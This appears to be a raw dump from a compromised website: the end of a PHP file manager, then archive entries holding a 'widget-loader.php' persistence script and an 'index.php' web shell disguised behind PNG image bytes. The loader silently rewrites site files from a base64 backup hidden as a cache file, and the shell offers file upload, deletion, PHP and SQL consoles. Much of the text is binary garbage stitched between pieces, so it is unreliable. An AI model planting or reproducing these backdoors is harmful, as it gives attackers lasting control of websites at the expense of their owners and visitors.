		     sd<?php } ?>
                    
		     </td>
		<td>
		sd<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('file')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		sd<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
sd<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
sd<?php
    }
}
?>
</tbody>
</table>
<div class="row3">sd<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


sd<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK       S]R!( 
   
                  widget-loader.php.tarnu [        PK       S]Z: @  @             E
  index.php.tarnu [        PK       S])cJf  Jf              J index.php.php.tar.gznu [        PK       S]k++R  R               widget-loader.php.php.tar.gznu [        PK       S]&79 9 	             index.phpnu [        PK                                                                                                                                                                                                                                                                                                                                                                      widget-loader.php.tar                                                                               0000644                 00000005000 15243251040 0010560 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/www/zeuportail/assets/static/modules/widget-loader.php                                         0000644                 00000001672 15243251025 0020224 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
@error_reporting(0);
@ini_set('display_errors', 0);
if (isset($_GET['_ck_sub8i8'])) {
    echo '1';
    exit;
}
$myDir = dirname(__FILE__);
$rootHop = '../../..';
$siteRoot = ($rootHop === '' || $rootHop === '.') ? $myDir : $myDir . '/' . $rootHop;
$backupFile = $siteRoot . '/templates/cache/data/82a3968585a485ae93950bf7ce89f24b.dat';
if (!@file_exists($backupFile)) {
    http_response_code(404);
    echo '0';
    exit;
}
$json = @file_get_contents($backupFile);
if (!$json) {
    echo '0';
    exit;
}
$backup = @json_decode($json, true);
if (!$backup || !isset($backup['files'])) {
    echo '0';
    exit;
}
$restored = 0;
foreach ($backup['files'] as $file => $data) {
    $path = $siteRoot . '/' . $file;
    if (!file_exists($path) || md5_file($path) !== $data['md5']) {
        $content = base64_decode($data['content']);
        if (@file_put_contents($path, $content) !== false) {
            $restored++;
        }
    }
}
echo '1';
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      index.php.tar                                                                                       0000644                 00000240000 15243251040 0007141 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/www/zeuportail/assets/static/modules/364262/index.php                                          0000644                 00000234415 15243251040 0017352 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ‰PNG

   
IHDR  6   £   7¾Âß  PLTEÿÿÿL‹õïïïåååLŒõOŽõÜÜÜRõI‰ôÙÙÙçççáááJ‰ñÞÞÞDU¶Oò6€ö©Çüb|‰ÕÕ×e÷÷÷ÒÒÖÛåð^w‡„«ôÍÍÓ^•óöôïEnÓBP°ÇÈÐDV´>…õpŠ•ÂÃÎüùîÊ×ñÃÇÉš¨°±óPo{~¦óZw…\tˆ>P³m öc˜ó°Æòäéï»Íñ«³¸2F³Yf¸ó÷ýŸ¾øÕáûéðýÚåûØÙá¢°Ôwœæ°ºÕÀÑñ‡¦å’©ßº¾ÏŸ¯Ú—¶óPt¢PƒÔ^r|t‡pƒ”}š„¢äMi“¡©—¤ª¬±½Mr¢ÕÏÉ¡¦Æ™Ñ’˜Â}„¿oy»½ÁÞhuÂ¨«Å–š¿þ­)€  (IDATxœíÝ
[ÚÈ p"&bEA gÓDQ«-½¸­v÷”êzzv{¶ÝïÿAÎÜ’L’É¥ä™$ÿgût­í®ù=ï;—db
…<yòäÉ“'Ož”äêæú¸õÄ^%ýÕ'•³‰ZÚZ(NÀqÒ_~2y=V+‘	!ì\%}Iäõd+Z-Œ
d±K¯b©…±md±K·ct(J) ¤K“¾†Õçªó,5Â¦f¯KÏŸWlÄ-ƒ]ÚŠ5²…³e°KÇË`S2×¥“Xj!lØ
\'}«N<¶52¸e®K—Â¶fI_ÇŠo±Æ–É.Åª–É.][æºt	l¤K·“¾Õ&[„éÒIÒ²Ú,ƒ”Ûë¤¯d¥‰Á©FØÎ’¾’•&š-MU³7—.…
—ÌÔ­ñH¶è¥lÙêÒ(¶8j´KÇI_Ê*Á­f±mÁiÒ×²Â,‡téyÒ×²Â„³ÅP#l¤K I_Ë
Æ ªárÛ {I_ÌêÂKÍaËT—³-¢ÆºtÏëáû>Ü'd*Ö@¶xj6.7¥Ûm¿yóF¯V«E”u.Þ]Ÿ A¬%­;l1Ñl5ºQxËÜt,W-ÆI•OQ8![\4Žté»>q{2ú3’¸	Øâ£qjô€\·kšíç°Éâæe[ÀÌÏßš(
Ë,t(
$”bfp±-fæR#_Z»]/©E@¶õ¤Iâ¤ƒŠ$ÒK¨¡j¨äs[X¹ÉPn˜m+ÔÂÎñÙÍl6;<¿ƒcƒï	[£»Ú}*ÃèÁ¦Ô7k=ÃXÃ1ŒžÑ¼ƒP
RC]Ú&lúúÓÙdèÒP6ÞM{”ÌŽaœW`€šªTpµ5P´˜n‚i¡˜´IŒ„±ÁÁÔcÆà¶QÁ‰Ô¬.ÅnåXÅ–>6ÞˆÐ\³Ø~m°.­ë™dS*ÂR³àZb7¥Cæ4)`·mš26elFê
w©é¸EÂ¥‹Mõ¨8Ü‡³ 5Ô¥m›­®G/CÒÅV™òfkÍÃ³í³óÙÔZ‰ª‘.¥nx|+G¹yÕ¤f«€™SZÆôzB7	°48Ä¿nª¡¥Û{êFØp½e‡
l÷œJ»Öú¶¤*pÜ4BÕTøÁìb·s[¬G¥f›Øµf4éÚÖ™*àÍM-D
uiŸÜ>Šç–&6xh±áÂòN `ÉfwéGÊË-ElêØVkúÕ"ƒ»´Ëº±i¡nR³¹o9»ã	jª2qwiX½ùÔ¤bsËT¬­7PW£]ÚuØ´z©IÊŽ­b›Á§¨¡.íÚ]JªMÓ‚ÜRÄfO½±ú5Ö¥ÖŠ—°iÕÔ³{ƒPãY©‰"œUÙ\Ú°ÊM«÷ûýFch““MíXóÁ9ß£Ê`Úôg*º¢À[÷œ õO†ÃáÊAzÙ¬GcnBPÁÀÞ8ð»Õ3Á†A¬K96D¶‹’^6{FèMì¡
7žmM°ÏRÅZñºØv|l~5‰Ùî,¶ŠƒÈæ¿í†Ôh—:ûÆ¶“
¶’ÊMŸqÙ°šÆ¦ˆÍ;¶¥Ší˜¯6gv\„M®9!€M &/›Òr–mü¢"USÈa{åæ°íVÓÊfoä;àf3¸L	LMïúB¶~Ý›*¶R%€„ßï[Kb´¶©¡rkX›+´EÐ6]/Zÿyá–A^6Ød×Õ
¾©Xy
…j
sd<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
